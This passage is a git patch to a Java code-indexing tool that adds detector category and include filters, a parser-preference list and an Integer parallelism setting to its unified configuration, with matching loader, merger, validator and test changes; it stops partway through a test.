From 478d5513cecb146c6fb16452de2a0c78cc70f74d Mon Sep 17 00:00:00 2001 From: Amit Kumar Date: Thu, 23 Apr 2026 12:10:17 +0000 Subject: [PATCH 1/6] feat(config): extend unified tree with detectors.categories, detectors.include, indexing.parsers Prep for Phase-2 retirement of the legacy ProjectConfigLoader static API. The Analyzer pipeline currently reads language/detector/parser/parallelism filters from the legacy ProjectConfig POJO via ProjectConfigLoader.loadProjectConfig; moving those call sites onto the injected CodeIqUnifiedConfig bean requires the unified tree to carry the same fields. This commit adds: - DetectorsConfig: categories, include (List). empty() updated. - IndexingConfig: parsers (List); parallelism changed from String to Integer with null = auto-detect. empty() updated. - UnifiedConfigLoader: reads detectors.categories/include (snake_case) with camelCase aliases detectorCategories/detectorInclude (deprecated, per-load WARN via existing pick() helper); reads indexing.parsers; parses parallelism as Integer via requireIntOrNull. - EnvVarOverlay: CODEIQ_DETECTORS_CATEGORIES, CODEIQ_DETECTORS_INCLUDE, CODEIQ_INDEXING_PARSERS (CSV); CODEIQ_INDEXING_PARALLELISM now parses to Integer and throws ConfigLoadException on malformed input. - ConfigMerger: merges the three new leaves with full provenance tracking. - ConfigValidator: indexing.parallelism must be > 0 if set (null = auto). - ConfigDefaults.builtIn(): parallelism = null (auto), parsers = [], detectors.categories = [], detectors.include = []. No behavior change on the default path. - ProjectConfigLoader.translateLegacyToUnified: maps the nested legacy shape (detectors.categories, detectors.include, parsers map, pipeline.parallelism) plus the flat top-level aliases detector_categories / detector_include into the new unified fields. parsers map is flattened to its values (Analyzer never consumed the per-language map at runtime). - docs/codeiq.yml.example: documents parsers, detectors.categories, and detectors.include; notes parallelism: null = auto. Test coverage (+16 cases): - UnifiedConfigLoaderTest: snake_case load, camelCase alias WARN, parallelism as Integer, malformed parallelism throws, missing detectors section = empty lists. - EnvVarOverlayTest: CSV parsing for the three new vars, Integer parallelism, malformed parallelism throws. - ConfigMergerTest: layer-replacement for categories/include/parsers, parallelism merge, provenance attribution. - ConfigValidatorTest: parallelism > 0 rejection + null-is-valid (auto). - ConfigDefaultsTest: baseline assertions for new defaults. Full suite: 3275 -> 3291 tests, 0 failures, 31 skipped. Co-Authored-By: Claude Opus 4.7 (1M context) --- docs/codeiq.yml.example | 5 +- .../iq/config/ProjectConfigLoader.java | 36 +++++++-- .../iq/config/unified/ConfigDefaults.java | 7 +- .../iq/config/unified/ConfigMerger.java | 9 ++- .../iq/config/unified/ConfigValidator.java | 6 ++ .../iq/config/unified/DetectorsConfig.java | 25 +++++- .../iq/config/unified/EnvVarOverlay.java | 18 +++-- .../iq/config/unified/IndexingConfig.java | 22 +++++- .../config/unified/UnifiedConfigLoader.java | 21 +++-- .../iq/config/UnifiedConfigAdapterTest.java | 3 +- .../iq/config/unified/ConfigDefaultsTest.java | 6 ++ .../iq/config/unified/ConfigMergerTest.java | 55 +++++++++++++ .../config/unified/ConfigValidatorTest.java | 31 ++++++++ .../iq/config/unified/EnvVarOverlayTest.java | 34 ++++++++ .../unified/UnifiedConfigLoaderTest.java | 77 +++++++++++++++++++ src/test/resources/config-unified/full.yml | 5 +- 16 files changed, 330 insertions(+), 30 deletions(-) diff --git a/docs/codeiq.yml.example b/docs/codeiq.yml.example index 6d74202c..5eca2e52 100644 --- a/docs/codeiq.yml.example +++ b/docs/codeiq.yml.example @@ -39,12 +39,13 @@ indexing: - '**/generated/**' incremental: true # reuse H2 cache when file hashes match cache_dir: .code-iq/cache # H2 analysis cache directory - parallelism: auto # "auto" or a positive integer + parallelism: null # null = auto-detect (Runtime.availableProcessors()); positive int to pin batch_size: 500 # files per H2 flush batch (default: 500) max_depth: 10 # max impact-trace depth max_radius: 10 # max ego-graph radius max_files: null # null = no cap; positive int to bound discovery max_snippet_lines: null # null = use CodeIqConfig default + parsers: [] # parser-preference names (e.g. ["javaparser","antlr"]); empty = defaults # --------------------------------------------------------------------------- # serving @@ -92,6 +93,8 @@ observability: # --------------------------------------------------------------------------- detectors: profiles: [default] # named detector bundles to activate + categories: [] # allow-list of detector categories (e.g. ["endpoints","entities"]); empty = all + include: [] # allow-list of detector names (by Detector#getName()); empty = no name filter overrides: # per-detector feature flags, keyed by SimpleClassName SpringRestDetector: { enabled: true } QuarkusRestDetector: { enabled: true } diff --git a/src/main/java/io/github/randomcodespace/iq/config/ProjectConfigLoader.java b/src/main/java/io/github/randomcodespace/iq/config/ProjectConfigLoader.java index 14e1c7b2..90a51b2d 100644 --- a/src/main/java/io/github/randomcodespace/iq/config/ProjectConfigLoader.java +++ b/src/main/java/io/github/randomcodespace/iq/config/ProjectConfigLoader.java @@ -210,7 +210,7 @@ static CodeIqUnifiedConfig translateLegacyToUnified(Map raw) { new io.github.randomcodespace.iq.config.unified.ProjectConfig(null, root, serviceName, List.of()); // --- indexing layer (flat keys) --- - // Reuse parseProjectConfig to pull languages / exclude / pipeline.batch-size. + // Reuse parseProjectConfig to pull languages / detectors / exclude / parsers / pipeline.*. ProjectConfig legacy = parseProjectConfig(raw); List languages = legacy.getLanguages(); List exclude = legacy.getExclude(); @@ -227,8 +227,13 @@ static CodeIqUnifiedConfig translateLegacyToUnified(Map raw) { if (batchSize == null && raw.containsKey("batch_size")) { batchSize = toInteger(raw.get("batch_size")); } - String parallelism = legacy.getPipelineParallelism() == null - ? null : String.valueOf(legacy.getPipelineParallelism()); + Integer parallelism = legacy.getPipelineParallelism(); + + // parsers: legacy shape is a map {lang: parserName}; unified carries a List of + // parser names (Analyzer never consumed the map at runtime — list is sufficient). + List parsers = legacy.getParsers() == null + ? List.of() + : List.copyOf(legacy.getParsers().values()); IndexingConfig indexingU = new IndexingConfig( languages == null ? List.of() : languages, @@ -241,7 +246,28 @@ static CodeIqUnifiedConfig translateLegacyToUnified(Map raw) { maxDepth, maxRadius, maxFiles, - maxSnippetLines); + maxSnippetLines, + parsers); + + // --- detectors layer --- + // detectors.categories / detectors.include come from the nested + // `detectors: { categories, include }` shape that parseProjectConfig already reads. + // In addition, Phase B accepts flat top-level aliases `detector_categories` / + // `detector_include` so legacy `.osscodeiq.yml` files that put the filters at the + // root (rather than under `detectors:`) continue to work. + List detectorCategories = legacy.getDetectorCategories(); + if (detectorCategories == null && raw.get("detector_categories") instanceof List lc) { + detectorCategories = lc.stream().map(String::valueOf).toList(); + } + List detectorInclude = legacy.getDetectorInclude(); + if (detectorInclude == null && raw.get("detector_include") instanceof List li) { + detectorInclude = li.stream().map(String::valueOf).toList(); + } + DetectorsConfig detectorsU = new DetectorsConfig( + List.of(), + detectorCategories == null ? List.of() : detectorCategories, + detectorInclude == null ? List.of() : detectorInclude, + Map.of()); return new CodeIqUnifiedConfig( projectU, @@ -249,7 +275,7 @@ static CodeIqUnifiedConfig translateLegacyToUnified(Map raw) { ServingConfig.empty(), McpConfig.empty(), ObservabilityConfig.empty(), - DetectorsConfig.empty()); + detectorsU); } // --------------------------------------------------------------- diff --git a/src/main/java/io/github/randomcodespace/iq/config/unified/ConfigDefaults.java b/src/main/java/io/github/randomcodespace/iq/config/unified/ConfigDefaults.java index 4bce5402..01744b75 100644 --- a/src/main/java/io/github/randomcodespace/iq/config/unified/ConfigDefaults.java +++ b/src/main/java/io/github/randomcodespace/iq/config/unified/ConfigDefaults.java @@ -18,12 +18,13 @@ public static CodeIqUnifiedConfig builtIn() { List.of(), List.of(), List.of(), true, ".code-iq/cache", - "auto", + null, // parallelism — null = auto-detect (Runtime.availableProcessors()) 500, 10, // maxDepth — matches application.yml codeiq.max-depth 10, // maxRadius — matches application.yml codeiq.max-radius null, // maxFiles — not set in application.yml; CodeIqConfig default wins - null // maxSnippetLines — not set in application.yml; CodeIqConfig default wins + null, // maxSnippetLines — not set in application.yml; CodeIqConfig default wins + List.of() // parsers — empty = no parser-preference override ), new ServingConfig( 8080, @@ -43,7 +44,7 @@ public static CodeIqUnifiedConfig builtIn() { new McpToolsConfig(List.of("*"), List.of()) ), new ObservabilityConfig(true, false, "json", "info"), - new DetectorsConfig(List.of("default"), Map.of()) + new DetectorsConfig(List.of("default"), List.of(), List.of(), Map.of()) ); } } diff --git a/src/main/java/io/github/randomcodespace/iq/config/unified/ConfigMerger.java b/src/main/java/io/github/randomcodespace/iq/config/unified/ConfigMerger.java index 005be41d..7a8f4398 100644 --- a/src/main/java/io/github/randomcodespace/iq/config/unified/ConfigMerger.java +++ b/src/main/java/io/github/randomcodespace/iq/config/unified/ConfigMerger.java @@ -60,7 +60,8 @@ private IndexingConfig mergeIndexing(IndexingConfig lo, IndexingConfig hi, Input take("indexing.max_depth", lo.maxDepth(), hi.maxDepth(), l, p), take("indexing.max_radius", lo.maxRadius(), hi.maxRadius(), l, p), take("indexing.max_files", lo.maxFiles(), hi.maxFiles(), l, p), - take("indexing.max_snippet_lines", lo.maxSnippetLines(), hi.maxSnippetLines(), l, p)); + take("indexing.max_snippet_lines", lo.maxSnippetLines(), hi.maxSnippetLines(), l, p), + takeList("indexing.parsers", lo.parsers(), hi.parsers(), l, p)); } private ServingConfig mergeServing(ServingConfig lo, ServingConfig hi, Input l, Map p) { @@ -103,8 +104,10 @@ private ObservabilityConfig mergeObservability(ObservabilityConfig lo, Observabi private DetectorsConfig mergeDetectors(DetectorsConfig lo, DetectorsConfig hi, Input l, Map p) { return new DetectorsConfig( - takeList("detectors.profiles", lo.profiles(), hi.profiles(), l, p), - takeMap("detectors.overrides", lo.overrides(), hi.overrides(), l, p)); + takeList("detectors.profiles", lo.profiles(), hi.profiles(), l, p), + takeList("detectors.categories", lo.categories(), hi.categories(), l, p), + takeList("detectors.include", lo.include(), hi.include(), l, p), + takeMap("detectors.overrides", lo.overrides(), hi.overrides(), l, p)); } private T take(String path, T lo, T hi, Input l, Map p) { diff --git a/src/main/java/io/github/randomcodespace/iq/config/unified/ConfigValidator.java b/src/main/java/io/github/randomcodespace/iq/config/unified/ConfigValidator.java index 71b4360e..fdb43911 100644 --- a/src/main/java/io/github/randomcodespace/iq/config/unified/ConfigValidator.java +++ b/src/main/java/io/github/randomcodespace/iq/config/unified/ConfigValidator.java @@ -41,6 +41,12 @@ public List validate(CodeIqUnifiedConfig c) { if (c.indexing().batchSize() != null && c.indexing().batchSize() <= 0) errs.add(new ConfigError("indexing.batch_size", "must be > 0", "validator")); + // indexing.parallelism — null means "auto-detect"; any non-null value must be a positive int. + if (c.indexing().parallelism() != null && c.indexing().parallelism() <= 0) + errs.add(new ConfigError("indexing.parallelism", + "must be > 0 (or unset for auto-detect); got " + c.indexing().parallelism(), + "validator")); + // mcp.transport if (c.mcp().transport() != null && !MCP_TRANSPORTS.contains(c.mcp().transport())) errs.add(new ConfigError("mcp.transport", diff --git a/src/main/java/io/github/randomcodespace/iq/config/unified/DetectorsConfig.java b/src/main/java/io/github/randomcodespace/iq/config/unified/DetectorsConfig.java index 566acf65..4cdba551 100644 --- a/src/main/java/io/github/randomcodespace/iq/config/unified/DetectorsConfig.java +++ b/src/main/java/io/github/randomcodespace/iq/config/unified/DetectorsConfig.java @@ -1,6 +1,27 @@ package io.github.randomcodespace.iq.config.unified; import java.util.List; import java.util.Map; -public record DetectorsConfig(List profiles, Map overrides) { - public static DetectorsConfig empty() { return new DetectorsConfig(List.of(), Map.of()); } + +/** + * Detector-layer configuration. + * + *
    + *
  • {@code profiles} -- named detector bundles to activate.
  • + *
  • {@code categories} -- allow-list of detector categories (e.g. {@code ["endpoints", + * "entities"]}); empty means "all categories". Introduced in Phase B cleanup to + * give the Analyzer pipeline a unified home for filters that previously lived + * only on the legacy {@code .osscodeiq.yml} {@code ProjectConfig} POJO.
  • + *
  • {@code include} -- allow-list of detector names (by {@code Detector#getName()}); + * empty means "no name-level filter".
  • + *
  • {@code overrides} -- per-detector feature flags keyed by {@code SimpleClassName}.
  • + *
+ */ +public record DetectorsConfig( + List profiles, + List categories, + List include, + Map overrides) { + public static DetectorsConfig empty() { + return new DetectorsConfig(List.of(), List.of(), List.of(), Map.of()); + } } diff --git a/src/main/java/io/github/randomcodespace/iq/config/unified/EnvVarOverlay.java b/src/main/java/io/github/randomcodespace/iq/config/unified/EnvVarOverlay.java index f6d25de3..5b4b2dc0 100644 --- a/src/main/java/io/github/randomcodespace/iq/config/unified/EnvVarOverlay.java +++ b/src/main/java/io/github/randomcodespace/iq/config/unified/EnvVarOverlay.java @@ -19,15 +19,18 @@ private EnvVarOverlay() {} public static CodeIqUnifiedConfig from(Map env) { Integer port = null, batch = null, perToolMs = null, maxResults = null, ratePerMin = null, pageMb = null, heapInit = null, heapMax = null, - maxDepth = null, maxRadius = null, maxFiles = null, maxSnippetLines = null; + maxDepth = null, maxRadius = null, maxFiles = null, maxSnippetLines = null, + parallelism = null; Long maxPayload = null; Boolean readOnly = null, incremental = null, metrics = null, tracing = null, mcpEnabled = null; String cacheDir = null, bindAddr = null, projectName = null, projectRoot = null, projectServiceName = null, neo4jDir = null, mcpTransport = null, mcpBasePath = null, mcpMode = null, - mcpTokenEnv = null, logFormat = null, logLevel = null, parallelism = null; + mcpTokenEnv = null, logFormat = null, logLevel = null; List languages = List.of(), include = List.of(), exclude = List.of(), - toolsEnabled = List.of(), toolsDisabled = List.of(), profiles = List.of(); + toolsEnabled = List.of(), toolsDisabled = List.of(), profiles = List.of(), + detectorCategories = List.of(), detectorInclude = List.of(), + parsers = List.of(); for (var e : env.entrySet()) { String k = e.getKey(), v = e.getValue(); @@ -43,7 +46,8 @@ public static CodeIqUnifiedConfig from(Map env) { case "INDEXING_EXCLUDE" -> exclude = splitCsv(v); case "INDEXING_INCREMENTAL" -> incremental = Boolean.parseBoolean(v); case "INDEXING_CACHEDIR" -> cacheDir = v; - case "INDEXING_PARALLELISM" -> parallelism = v; + case "INDEXING_PARALLELISM" -> parallelism = Integer.parseInt(v); + case "INDEXING_PARSERS" -> parsers = splitCsv(v); case "INDEXING_BATCHSIZE" -> batch = Integer.parseInt(v); case "INDEXING_MAX_DEPTH" -> maxDepth = Integer.parseInt(v); case "INDEXING_MAX_RADIUS" -> maxRadius = Integer.parseInt(v); @@ -72,6 +76,8 @@ public static CodeIqUnifiedConfig from(Map env) { case "OBSERVABILITY_LOGFORMAT" -> logFormat = v; case "OBSERVABILITY_LOGLEVEL" -> logLevel = v; case "DETECTORS_PROFILES" -> profiles = splitCsv(v); + case "DETECTORS_CATEGORIES" -> detectorCategories = splitCsv(v); + case "DETECTORS_INCLUDE" -> detectorInclude = splitCsv(v); default -> { /* unknown key — ignore, forward-compatible */ } } } catch (NumberFormatException nfe) { @@ -83,7 +89,7 @@ public static CodeIqUnifiedConfig from(Map env) { return new CodeIqUnifiedConfig( new ProjectConfig(projectName, projectRoot, projectServiceName, List.of()), new IndexingConfig(languages, include, exclude, incremental, cacheDir, parallelism, batch, - maxDepth, maxRadius, maxFiles, maxSnippetLines), + maxDepth, maxRadius, maxFiles, maxSnippetLines, parsers), new ServingConfig(port, bindAddr, readOnly, new Neo4jConfig(neo4jDir, pageMb, heapInit, heapMax)), new McpConfig(mcpEnabled, mcpTransport, mcpBasePath, @@ -91,7 +97,7 @@ public static CodeIqUnifiedConfig from(Map env) { new McpLimitsConfig(perToolMs, maxResults, maxPayload, ratePerMin), new McpToolsConfig(toolsEnabled, toolsDisabled)), new ObservabilityConfig(metrics, tracing, logFormat, logLevel), - new DetectorsConfig(profiles, Map.of()) + new DetectorsConfig(profiles, detectorCategories, detectorInclude, Map.of()) ); } diff --git a/src/main/java/io/github/randomcodespace/iq/config/unified/IndexingConfig.java b/src/main/java/io/github/randomcodespace/iq/config/unified/IndexingConfig.java index c27e2c84..3dd453ef 100644 --- a/src/main/java/io/github/randomcodespace/iq/config/unified/IndexingConfig.java +++ b/src/main/java/io/github/randomcodespace/iq/config/unified/IndexingConfig.java @@ -1,13 +1,29 @@ package io.github.randomcodespace.iq.config.unified; import java.util.List; + +/** + * Indexing-layer configuration. + * + *

{@code parallelism} is an {@link Integer}; {@code null} means "auto-detect" + * (the Analyzer chooses {@code Runtime.availableProcessors()} or similar). Any + * non-null value must be {@code > 0} -- enforced by {@link ConfigValidator}. + * + *

{@code parsers} is a list of parser-preference names carried by the + * unified tree so Analyzer can filter or prefer specific parsers per run. It + * replaces the map-of-language-to-parser form the legacy {@code ProjectConfig} + * POJO carried; Analyzer never consumed the map at runtime, so a flat list is + * sufficient and simpler to merge across layers. + */ public record IndexingConfig( List languages, List include, List exclude, - Boolean incremental, String cacheDir, String parallelism, Integer batchSize, - Integer maxDepth, Integer maxRadius, Integer maxFiles, Integer maxSnippetLines) { + Boolean incremental, String cacheDir, Integer parallelism, Integer batchSize, + Integer maxDepth, Integer maxRadius, Integer maxFiles, Integer maxSnippetLines, + List parsers) { public static IndexingConfig empty() { return new IndexingConfig( List.of(), List.of(), List.of(), null, null, null, null, - null, null, null, null); + null, null, null, null, + List.of()); } } diff --git a/src/main/java/io/github/randomcodespace/iq/config/unified/UnifiedConfigLoader.java b/src/main/java/io/github/randomcodespace/iq/config/unified/UnifiedConfigLoader.java index 194b18a2..3f1f2db5 100644 --- a/src/main/java/io/github/randomcodespace/iq/config/unified/UnifiedConfigLoader.java +++ b/src/main/java/io/github/randomcodespace/iq/config/unified/UnifiedConfigLoader.java @@ -77,7 +77,7 @@ private static CodeIqUnifiedConfig fromMap(Map m, Path path) { servingFrom((Map) m.get("serving"), path, warnedAliases), mcpFrom((Map) m.get("mcp"), path, warnedAliases), observabilityFrom((Map) m.get("observability"), path, warnedAliases), - detectorsFrom((Map) m.get("detectors")) + detectorsFrom((Map) m.get("detectors"), path, warnedAliases) ); } @@ -108,13 +108,14 @@ private static IndexingConfig indexingFrom(Map m, Path path, Set asStringList(m.get("exclude")), (Boolean) m.get("incremental"), (String) pick(m, "indexing", "cache_dir", "cacheDir", path, warned), - m.get("parallelism") == null ? null : String.valueOf(m.get("parallelism")), + requireIntOrNull(m.get("parallelism"), path, "indexing.parallelism"), requireIntOrNull(pick(m, "indexing", "batch_size", "batchSize", path, warned), path, "indexing.batch_size"), requireIntOrNull(m.get("max_depth"), path, "indexing.max_depth"), requireIntOrNull(m.get("max_radius"), path, "indexing.max_radius"), requireIntOrNull(m.get("max_files"), path, "indexing.max_files"), - requireIntOrNull(m.get("max_snippet_lines"), path, "indexing.max_snippet_lines")); + requireIntOrNull(m.get("max_snippet_lines"), path, "indexing.max_snippet_lines"), + asStringList(m.get("parsers"))); } @SuppressWarnings("unchecked") @@ -177,7 +178,7 @@ private static ObservabilityConfig observabilityFrom(Map m, Path } @SuppressWarnings("unchecked") - private static DetectorsConfig detectorsFrom(Map m) { + private static DetectorsConfig detectorsFrom(Map m, Path path, Set warned) { if (m == null) return DetectorsConfig.empty(); Map overrides = new LinkedHashMap<>(); Map raw = (Map) m.getOrDefault("overrides", Map.of()); @@ -185,7 +186,17 @@ private static DetectorsConfig detectorsFrom(Map m) { Map v = (Map) e.getValue(); overrides.put(e.getKey(), new DetectorOverride(v == null ? null : (Boolean) v.get("enabled"))); } - return new DetectorsConfig(asStringList(m.get("profiles")), overrides); + // detectors.categories (canonical) / detectorCategories (deprecated alias) + // detectors.include (canonical) / detectorInclude (deprecated alias) + List categories = asStringList( + pick(m, "detectors", "categories", "detectorCategories", path, warned)); + List include = asStringList( + pick(m, "detectors", "include", "detectorInclude", path, warned)); + return new DetectorsConfig( + asStringList(m.get("profiles")), + categories, + include, + overrides); } /** diff --git a/src/test/java/io/github/randomcodespace/iq/config/UnifiedConfigAdapterTest.java b/src/test/java/io/github/randomcodespace/iq/config/UnifiedConfigAdapterTest.java index 490172bd..dd5501a0 100644 --- a/src/test/java/io/github/randomcodespace/iq/config/UnifiedConfigAdapterTest.java +++ b/src/test/java/io/github/randomcodespace/iq/config/UnifiedConfigAdapterTest.java @@ -130,7 +130,8 @@ void newFieldsProjectCorrectly() { 25, // maxDepth 17, // maxRadius 500, // maxFiles - 12 // maxSnippetLines + 12, // maxSnippetLines + List.of() // parsers ), ServingConfig.empty(), new McpConfig(null, null, null, diff --git a/src/test/java/io/github/randomcodespace/iq/config/unified/ConfigDefaultsTest.java b/src/test/java/io/github/randomcodespace/iq/config/unified/ConfigDefaultsTest.java index fa297be2..9dd81ba1 100644 --- a/src/test/java/io/github/randomcodespace/iq/config/unified/ConfigDefaultsTest.java +++ b/src/test/java/io/github/randomcodespace/iq/config/unified/ConfigDefaultsTest.java @@ -12,6 +12,12 @@ void builtInHasKnownFieldValues() { assertEquals(".code-iq/cache", d.indexing().cacheDir()); assertEquals(500, d.indexing().batchSize()); assertEquals(true, d.indexing().incremental()); + // Phase-B extension: parallelism defaults to null (= auto-detect at runtime); + // parsers/categories/include default to empty list (= no filter). + assertNull(d.indexing().parallelism()); + assertTrue(d.indexing().parsers().isEmpty()); + assertTrue(d.detectors().categories().isEmpty()); + assertTrue(d.detectors().include().isEmpty()); assertEquals(8080, d.serving().port()); assertEquals("0.0.0.0", d.serving().bindAddress()); assertEquals(false, d.serving().readOnly()); diff --git a/src/test/java/io/github/randomcodespace/iq/config/unified/ConfigMergerTest.java b/src/test/java/io/github/randomcodespace/iq/config/unified/ConfigMergerTest.java index 9a76af04..da023f5e 100644 --- a/src/test/java/io/github/randomcodespace/iq/config/unified/ConfigMergerTest.java +++ b/src/test/java/io/github/randomcodespace/iq/config/unified/ConfigMergerTest.java @@ -37,6 +37,61 @@ void nullInHigherLayerInheritsFromLower() { assertEquals(ConfigLayer.BUILT_IN, merged.provenance().get("serving.port").layer()); } + // ---- Phase-B extensions: detectors.categories/include + indexing.parsers ------- + + @Test + void detectorsCategoriesFollowLayerReplacement() { + CodeIqUnifiedConfig project = EnvVarOverlay.from(Map.of( + "CODEIQ_DETECTORS_CATEGORIES", "endpoints")); + CodeIqUnifiedConfig cli = EnvVarOverlay.from(Map.of( + "CODEIQ_DETECTORS_CATEGORIES", "entities,topics")); + MergedConfig merged = new ConfigMerger().merge(List.of( + new ConfigMerger.Input(ConfigLayer.BUILT_IN, "defaults", ConfigDefaults.builtIn()), + new ConfigMerger.Input(ConfigLayer.PROJECT, "./codeiq.yml", project), + new ConfigMerger.Input(ConfigLayer.CLI, "--categories=...", cli))); + assertEquals(List.of("entities", "topics"), merged.effective().detectors().categories()); + assertEquals(ConfigLayer.CLI, merged.provenance().get("detectors.categories").layer()); + } + + @Test + void detectorsIncludeFallsThroughWhenAbsent() { + CodeIqUnifiedConfig project = EnvVarOverlay.from(Map.of( + "CODEIQ_DETECTORS_INCLUDE", "spring-rest-detector")); + MergedConfig merged = new ConfigMerger().merge(List.of( + new ConfigMerger.Input(ConfigLayer.BUILT_IN, "defaults", ConfigDefaults.builtIn()), + new ConfigMerger.Input(ConfigLayer.PROJECT, "./codeiq.yml", project))); + assertEquals(List.of("spring-rest-detector"), merged.effective().detectors().include()); + assertEquals(ConfigLayer.PROJECT, merged.provenance().get("detectors.include").layer()); + } + + @Test + void indexingParsersMergeWholeLayer() { + CodeIqUnifiedConfig project = EnvVarOverlay.from(Map.of( + "CODEIQ_INDEXING_PARSERS", "javaparser")); + CodeIqUnifiedConfig cli = EnvVarOverlay.from(Map.of( + "CODEIQ_INDEXING_PARSERS", "antlr,regex")); + MergedConfig merged = new ConfigMerger().merge(List.of( + new ConfigMerger.Input(ConfigLayer.BUILT_IN, "defaults", ConfigDefaults.builtIn()), + new ConfigMerger.Input(ConfigLayer.PROJECT, "./codeiq.yml", project), + new ConfigMerger.Input(ConfigLayer.CLI, "--parsers=...", cli))); + assertEquals(List.of("antlr", "regex"), merged.effective().indexing().parsers()); + assertEquals(ConfigLayer.CLI, merged.provenance().get("indexing.parsers").layer()); + } + + @Test + void indexingParallelismIntegerLayerReplacement() { + CodeIqUnifiedConfig project = EnvVarOverlay.from(Map.of( + "CODEIQ_INDEXING_PARALLELISM", "4")); + CodeIqUnifiedConfig cli = EnvVarOverlay.from(Map.of( + "CODEIQ_INDEXING_PARALLELISM", "16")); + MergedConfig merged = new ConfigMerger().merge(List.of( + new ConfigMerger.Input(ConfigLayer.BUILT_IN, "defaults", ConfigDefaults.builtIn()), + new ConfigMerger.Input(ConfigLayer.PROJECT, "./codeiq.yml", project), + new ConfigMerger.Input(ConfigLayer.CLI, "--parallelism=16", cli))); + assertEquals(16, merged.effective().indexing().parallelism()); + assertEquals(ConfigLayer.CLI, merged.provenance().get("indexing.parallelism").layer()); + } + @Test void listsFollowWholeLayerReplacementNotMerge() { // Non-merge semantics: if a higher layer declares `languages`, diff --git a/src/test/java/io/github/randomcodespace/iq/config/unified/ConfigValidatorTest.java b/src/test/java/io/github/randomcodespace/iq/config/unified/ConfigValidatorTest.java index 551d51d8..ef35b983 100644 --- a/src/test/java/io/github/randomcodespace/iq/config/unified/ConfigValidatorTest.java +++ b/src/test/java/io/github/randomcodespace/iq/config/unified/ConfigValidatorTest.java @@ -34,4 +34,35 @@ void mcpTransportMustBeHttpOrStdio() { List errs = new ConfigValidator().validate(bad); assertTrue(errs.stream().anyMatch(e -> e.fieldPath().equals("mcp.transport"))); } + + // ---- Phase-B extension: indexing.parallelism positivity ------------------- + + @Test + void parallelismZeroOrNegativeIsRejected() { + CodeIqUnifiedConfig bad = new CodeIqUnifiedConfig( + ProjectConfig.empty(), + new IndexingConfig( + List.of(), List.of(), List.of(), + null, null, 0, null, + null, null, null, null, + List.of()), + ServingConfig.empty(), + McpConfig.empty(), ObservabilityConfig.empty(), DetectorsConfig.empty()); + List errs = new ConfigValidator().validate(bad); + assertTrue(errs.stream().anyMatch(e -> e.fieldPath().equals("indexing.parallelism")), + "expected indexing.parallelism error; got " + errs); + } + + @Test + void parallelismNullIsValidAutoDetect() { + // null means "auto-detect" — must NOT be flagged as an error. + CodeIqUnifiedConfig ok = new CodeIqUnifiedConfig( + ProjectConfig.empty(), + IndexingConfig.empty(), + ServingConfig.empty(), + McpConfig.empty(), ObservabilityConfig.empty(), DetectorsConfig.empty()); + List errs = new ConfigValidator().validate(ok); + assertTrue(errs.stream().noneMatch(e -> e.fieldPath().equals("indexing.parallelism")), + "null parallelism must be valid (auto-detect); got " + errs); + } } diff --git a/src/test/java/io/github/randomcodespace/iq/config/unified/EnvVarOverlayTest.java b/src/test/java/io/github/randomcodespace/iq/config/unified/EnvVarOverlayTest.java index f1878465..25fe5f10 100644 --- a/src/test/java/io/github/randomcodespace/iq/config/unified/EnvVarOverlayTest.java +++ b/src/test/java/io/github/randomcodespace/iq/config/unified/EnvVarOverlayTest.java @@ -53,4 +53,38 @@ void malformedIntThrowsWithVarName() { () -> EnvVarOverlay.from(Map.of("CODEIQ_SERVING_PORT", "not-a-port"))); assertTrue(e.getMessage().contains("CODEIQ_SERVING_PORT")); } + + // ---- Phase-B extensions: detectors + parsers + Integer parallelism ------------ + + @Test + void readsDetectorsCategoriesAndInclude() { + CodeIqUnifiedConfig cfg = EnvVarOverlay.from(Map.of( + "CODEIQ_DETECTORS_CATEGORIES", "endpoints,entities", + "CODEIQ_DETECTORS_INCLUDE", "spring-rest-detector,jpa-entity-detector")); + assertEquals(java.util.List.of("endpoints", "entities"), cfg.detectors().categories()); + assertEquals(java.util.List.of("spring-rest-detector", "jpa-entity-detector"), + cfg.detectors().include()); + } + + @Test + void readsIndexingParsersList() { + CodeIqUnifiedConfig cfg = EnvVarOverlay.from(Map.of( + "CODEIQ_INDEXING_PARSERS", "javaparser, antlr ,regex")); + assertEquals(java.util.List.of("javaparser", "antlr", "regex"), + cfg.indexing().parsers()); + } + + @Test + void readsIndexingParallelismAsInteger() { + CodeIqUnifiedConfig cfg = EnvVarOverlay.from(Map.of( + "CODEIQ_INDEXING_PARALLELISM", "16")); + assertEquals(16, cfg.indexing().parallelism()); + } + + @Test + void malformedIndexingParallelismThrows() { + ConfigLoadException e = assertThrows(ConfigLoadException.class, + () -> EnvVarOverlay.from(Map.of("CODEIQ_INDEXING_PARALLELISM", "many"))); + assertTrue(e.getMessage().contains("CODEIQ_INDEXING_PARALLELISM")); + } } diff --git a/src/test/java/io/github/randomcodespace/iq/config/unified/UnifiedConfigLoaderTest.java b/src/test/java/io/github/randomcodespace/iq/config/unified/UnifiedConfigLoaderTest.java index a11b919c..a11e1bb7 100644 --- a/src/test/java/io/github/randomcodespace/iq/config/unified/UnifiedConfigLoaderTest.java +++ b/src/test/java/io/github/randomcodespace/iq/config/unified/UnifiedConfigLoaderTest.java @@ -187,6 +187,83 @@ void whenBothSnakeAndCamelCaseSetSnakeCaseWins(@TempDir Path tmp) throws Excepti } } + // ---- Phase-B extensions: detectors.categories/include + indexing.parsers ------ + + @Test + void loadsDetectorsCategoriesAndInclude(@TempDir Path tmp) throws Exception { + Path yml = tmp.resolve("codeiq.yml"); + Files.writeString(yml, + "detectors:\n" + + " categories: [endpoints, entities]\n" + + " include: [spring-rest-detector]\n"); + CodeIqUnifiedConfig cfg = UnifiedConfigLoader.load(yml); + assertEquals(List.of("endpoints", "entities"), cfg.detectors().categories()); + assertEquals(List.of("spring-rest-detector"), cfg.detectors().include()); + } + + @Test + void loadsIndexingParsersList(@TempDir Path tmp) throws Exception { + Path yml = tmp.resolve("codeiq.yml"); + Files.writeString(yml, "indexing:\n parsers: [javaparser, antlr]\n"); + CodeIqUnifiedConfig cfg = UnifiedConfigLoader.load(yml); + assertEquals(List.of("javaparser", "antlr"), cfg.indexing().parsers()); + } + + @Test + void loadsIndexingParallelismAsInteger(@TempDir Path tmp) throws Exception { + Path yml = tmp.resolve("codeiq.yml"); + Files.writeString(yml, "indexing:\n parallelism: 12\n"); + CodeIqUnifiedConfig cfg = UnifiedConfigLoader.load(yml); + assertEquals(12, cfg.indexing().parallelism()); + } + + @Test + void indexingParallelismNonIntegerThrows(@TempDir Path tmp) throws Exception { + Path yml = tmp.resolve("codeiq.yml"); + Files.writeString(yml, "indexing:\n parallelism: not-a-number\n"); + ConfigLoadException e = 